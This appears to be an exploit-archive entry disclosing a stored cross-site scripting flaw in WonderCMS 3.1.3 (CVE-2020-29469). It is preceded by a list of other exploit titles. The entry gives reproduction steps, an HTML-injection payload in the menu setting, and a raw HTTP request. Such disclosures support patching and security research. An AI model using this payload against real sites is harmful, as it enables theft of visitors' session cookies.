
23 changes to exploits/shellcodes dirsearch 0.4.1 - CSV Injection IObit Uninstaller 10 Pro - Unquoted Service Path WinAVR Version 20100110 - Insecure Folder Permissions PaperStream IP (TWAIN) 1.42.0.5685 - Local Privilege Escalation H2 Database 1.4.199 - JNI Code Execution Responsive ELearning System 1.0 - 'id' Sql Injection Responsive E-Learning System 1.0 - 'id' Sql Injection Advanced Webhost Billing System 3.7.0 - Cross-Site Request Forgery (CSRF) IPeakCMS 3.5 - Boolean-based blind SQLi Expense Tracker 1.0 - 'Expense Name' Stored Cross-Site Scripting WordPress Plugin litespeed cache 3.6 - 'server_ip' Cross-Site Scripting Responsive E-Learning System 1.0 - Unrestricted File Upload to RCE Responsive E-Learning System 1.0 - Stored Cross Site Scripting WordPress Plugin WP24 Domain Check 1.6.2 - 'fieldnameDomain' Stored Cross Site Scripting Newgen Correspondence Management System (corms) eGov 12.0 - IDOR Resumes Management and Job Application Website 1.0 - RCE (Unauthenticated) Resumes Management and Job Application Website 1.0 - Multiple Stored XSS Gitea 1.7.5 - Remote Code Execution Sonatype Nexus 3.21.1 - Remote Code Execution (Authenticated)
35 lines
No EOL
1.5 KiB
Text
35 lines
No EOL
1.5 KiB
Text
# Exploit Title: WonderCMS 3.1.3 - 'menu' Persistent Cross-Site Scripting
|
|
# Date: 20-11-2020
|
|
# Exploit Author: Hemant Patidar (HemantSolo)
|
|
# Vendor Homepage: https://www.wondercms.com/
|
|
# Version: 3.1.3
|
|
# Tested on: Windows 10/Kali Linux
|
|
# Contact: https://www.linkedin.com/in/hemantsolo/
|
|
# CVE: CVE-2020-29469
|
|
|
|
Attack vector:
|
|
This vulnerability can results attacker to inject the XSS payload in the Setting - Menu and each time any user will visits the website directory, the XSS triggers and attacker can able to steal the cookie according to the crafted payload.
|
|
|
|
Vulnerable Parameters: Menu.
|
|
|
|
Steps-To-Reproduce:
|
|
1. Go to the Simple website builder.
|
|
2. Put this payload in Menu: "hemantsolo"><img src=x onerror=confirm(1)>"
|
|
3. Now go to the website and the XSS will be triggered.
|
|
|
|
GET /demo/hemantsolo-img-src-x-onerror-confirm-1 HTTP/1.1
|
|
Host: 127.0.0.1
|
|
Connection: close
|
|
Cache-Control: max-age=0
|
|
Upgrade-Insecure-Requests: 1
|
|
DNT: 1
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
Sec-Fetch-Site: same-origin
|
|
Sec-Fetch-Mode: navigate
|
|
Sec-Fetch-User: ?1
|
|
Sec-Fetch-Dest: document
|
|
Referer: 127.0.0.1/demo/hemantsolo-img-src-x-onerror-confirm-1
|
|
Accept-Encoding: gzip, deflate
|
|
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,hi;q=0.7,ru;q=0.6
|
|
Cookie: PHPSESSID=31ce0448562cc182b5173a300a923b93 |